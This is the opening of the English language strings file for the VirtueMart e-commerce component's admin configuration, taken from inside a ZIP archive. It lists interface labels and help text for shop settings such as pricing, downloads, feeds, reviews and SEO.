PKs>\ƷSS=com_virtuemart/language/en-GB/en-GB.com_virtuemart_config.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; Config COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="New account activation necessary?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Display modal popup upon 'Add to cart'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Must agree to Terms of Service on EVERY ORDER?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Check if you want a shopper to agree to your terms of service on EVERY ORDER (before placing the order)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="User registration allowed?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="General Assets URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="This is usually the URL to the asset folder in com_virtuemart (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Enable Automatic Selected Payment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="When Automatic Selected Payment is enabled, if only one payment method is available, then it is preselected.
      If Automatic Selected Payment is NOT selected, even when there is only one payment method is available, a new page is loaded. It is usefull if the payment method must validate payment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Enable Automatic Selected Shipment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="When Automatic Selected Shipment is enabled, if only one shipment method is available, then it is preselected.
      If Automatic Selected Shipment is NOT selected, even when there is only one shipment method is available, a new page is loaded. It is usefull if the shipment method must validate shipment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Default number of categories in a row" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="This defines the number of categories in a row.
      " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Category Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="This is the default layout for browsing categories." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Category Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="This defines the default category template for displaying products in a category.
      " COM_VIRTUEMART_ADMIN_CFG_CAT_FEED_SETTINGS="Category Feed Settings" COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Checkout" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Checkout Settings" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop date format" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="The default date format used by the shop. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Turns on the debug output. This causes the DEBUGPAGE to be displayed at the bottom of each page. Very helpful during shop development since it shows the carts contents, form field values, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP address" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="If you enable this option and enter an IP address here, then debug output will be enabled ONLY for this client IP address. Other clients will not see the debugging output." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download Path" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="The physical path to the files for the shopper download. (trailing slash at the end!)
      " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expire" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Sets the time range in seconds in which the download is enabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Keep Product Stock Level on Purchase?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="When enabled, the stock level for a downloadable product is not lowered although it was purchased by shoppers." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Sets the number of downloads which can be made with one Download-ID, (for one order)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download Settings" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Enable Dynamic Thumbnail Resizing?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="If checked, you enable dynamic Image Resizing. This means that all Thumbnail Images are resized to fit the Sizes you provide below" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Enable Joomla Plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Enable Joomla content Plugin for the Product description. Should not be checked if you don't use Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Enable debugging messages" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Only for administrators" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="For all" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Select to who the debug message are reported" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No debug" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Enable Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Check to enable the download capability. Only if you want to sell downloadable goods." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Use english as fallback for untranslated strings" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Load the english language file, to avoid untranslated strings to be displayed as keys" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Use external google jQuery library" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_TIP="Using the external google library improves page speed" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Enable Multivendor (experimental only for developers)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrated multivendor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Enable this function only, when you can code php and know what to do, this is just an option to enable multivendor for customisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="none" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Create and send pdf invoices" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="For this feature it is important that you set your safe path correctly" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="ERRORPAGE" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="This is the default page for displaying error messages." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Be aware that a session cache is active for the configuration and has a life time of 500 minutes. Your changes take up to 5 minutes to affect all sessions, including your session. To generate a new session, just logout, and login again." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Rows for featured products" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="This defines the number of rows for featured products." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Type of Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choose the type of product description that will be included with the feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Enable Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the products of all certain categories in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE="Enable Featured Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Featured products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB="Number of featured products" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB_TIP="Number of featured products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE="Enable Latest Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the latest products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB="Number of latest products" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB_TIP="Number of latest products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limit the Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximum Description Length" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Include the Product Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="If enabled, the Product Description will be added to the feed item" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Include Images into the feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="If enabled, the thumb images will be included with the feed item." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Include the Product Price into the description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="If enabled, the standard Product Price will be added to the Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE="Enable Top Ten Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Top Ten products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB="Number of topten products" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB_TIP="Number of topten products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Allow Frontend-Administration for non-Backend Users?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="With this setting you can enable the Frontend Administration for users who" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Using the VirtueMart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activate Css Styles & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Inactivate some of this script requires the installation of the replacement script in your template.
      In other case your shop is no longer functional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Using the original Virtuemart CSS design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN="Use jQuery chosen for dropdowns in FE" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN_TIP="Usually you can activate this, but some templates may have already their own solution" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Using the product Scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="These scripts are required for the dynamic operation of the basket and price!
      You loose all the standard inter-activity by turning off the script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Using the VirtueMart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="To address some issues between VirtueMart and Templates / component / modules, you can disable the jQuery internal library " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Using the Script ajax Countries / Regions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamic update Your country / region will not work without this script.
      Please, verify that this does not affect the operation of your site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamic Image Resizing is not available. The GD library seems to be missing" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Home Page Settings" COM_VIRTUEMART_ADMIN_CFG_HOME_FEED_SETTINGS="Home Page Feed Settings" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Use joomla default" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Language Javascript Fix" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activate the language Javascript Fix for some Joomla version" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Rows for latest" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="This defines the number of rows for latest products." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Order-mail format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="This determines how your order confirmation emails are set up" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receive vendor mail with recipient address" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Usually the vendor receives the mail from joomla system email address. If you set this, you'll receive the mail coming as recipient address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Recipient address set as Sender, not ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="If set, the mail address of the recipient is set as Sender. If not, the recipient is set as reply address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR="Use the vendor email address" COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR_EXPLAIN="You can use the vendor email address or the one set in the joomla configuration. This setting depends on your selected mailer." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout for your home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="This is the default layout for your homepage" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Default number of manufacturer in a row" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="This defines the number of manufacturer in a row.
      " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="This is the maximum length of the product description for each feed item. If no value is set, the complete description is sent." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Category Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL to the images of the categories (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Safe Path" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Path for downloadable goods for sale and your invoices. This path is meant from your file root, not Joomla root. Attention - you must enter an absolute path here and it should (not must) be outside of your domain directory (i.e. httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Thumbnail url for media to sell" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="The idea is that you can represent your downloadable goods by a self chosen thumbnail, this is usually a normal URL." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Manufacturer Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL to the images of the manufacturers" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Product Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL to the images of the products (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media Files Settings" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Vendor Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL to the images of the vendors (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Core Settings" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Multilingual shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activate the multi-language translation system" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'no image found' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="This means that there is no image found at the given path" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'no image' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="This image will be shown when no product image is available." COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Order Status which disables downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sets the order status at which the download is disabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Order Status which enables download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Select the order status at which the shopper is notified about the download via e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Set the pagination sequence for the List Box" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="PDF Button" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Show or Hide the PDF - Button in the Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Displays 'Notify Me' instead of 'Add To Cart' button" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Do not Display Product" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Do not Display Product, if child products also out of stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Products Out of Stock are orderable, no special action" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Products Out of Stock are orderable, and the field 'Availability' below is displayed" COM_VIRTUEMART_ADMIN_CFG_PRICES="Show Following Prices" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Show Prices including tax?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Show Price" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Rounding Digits" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Show Label" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup to show prices to" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="The selected membergroup and all groups with higher permissions will be able to see the product prices" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Show call for price, when the price is empty" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="For this function you must enable 'Allow ask questions'. This gives the user the possibility to ask you for a price, when you dont like to publish it" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Baseprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Depending on where you do your profit/margin calculation it is either your cost price or your calculated price. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="New baseprice modified by chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="The baseprice gets modified by the chosen product variant. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Baseprice with Tax, but without discounts" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="useful to show the old price without discount" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Price Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT="Display variant prices with tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT_EXPLAIN="You can display the extra prices of variants (for exmample in the dropdown) with or without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Discounted Price without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Discount amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Useful for the you save X money" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Use for swizz CHF the Rappenrundung" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG_TIP="only for the swiss, rounds only the display always to 0.00 or 0.05" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG="Round only display" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG_TIP="We advice to use this option, the rounding is only done on the display, the results are more accurate" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Final salesprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="This is the price the shopper actually has to pay" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Salesprice with discount, but without override" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="This is the same as the salesprice, except you used the product specific override option" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Salesprice without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Show the price label for packaging?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="When checked, the price label is derived from the products unit and packaging values" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Show Tax in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Display Tax details in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Tax amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Shows only the tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Unit price" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="A unit price for products sold in units, for example in meter, liter, kilograms" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Baseprice modificator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="The modificator of the baseprice due the chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Pricing" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Product Order Settings" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Default number of products in a row" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="This defines the number of products in a row.
      " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Product layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="This is the default layout for displaying product details." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy password" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="If the proxy requires authentication please fill in the correct password here." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="The port used for communication with the proxy server (mostly 80 or 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Global Proxy Settings" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL of the proxy server" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Example" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy username" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="If the proxy requires authentication please fill in your username here." COM_VIRTUEMART_ADMIN_CFG_RATING="Enable Rating System for" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="If enabled, you allow shoppers to see the product rating." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registered" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Show Rating" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="To Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="If enabled, you allow shoppers to rate the products." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="None" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="To Registered Users" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Rows for recent" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="This defines the number of rows for recent products." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Enable Review System for" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="If enabled, you allow shoppers to rate products and write reviews about them.
      " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Comment Maximum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="This is the maximum amount of characters that can be written by a shopper in a comment." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Comment Minimum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="This is the amount of characters that MUST at least be written by a shopper before the review can be submitted." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="To Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Show Review" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Show to Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="If enabled, you allow shoppers to read the reviews about the products." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Don't show" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Show to Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Shopper Review/Rating System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Disabled" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="If checked, the SEO is disabled. When not checked, the SEO is enabled." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Enable VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activate the VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO Settings" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Seo Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Seo Suffix to add at the end of product URLs" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Translate Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="If enabled, the URL uses the languages file for the VirtueMart strings in the URL. Otherwise, the URLs are created with default strings." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use Product and Category IDs" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="If enabled, the Product ID, and the Category ID will be added in the URL. Otherwise, the URL contains only the Product name or the Category name" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Settings" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Advanced Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Emails Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Languages Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop is offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline Message" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="If you check this, the Shop will display an Offline Message." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop Settings" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Show footer" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Displays a powered-by-VirtueMart footer image." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Show Categories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="If checked, VirtueMart home page will display the product categories." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Show Children Category" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="If checked, Children categories will be displayed in the category view , and Product view." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Show featured" 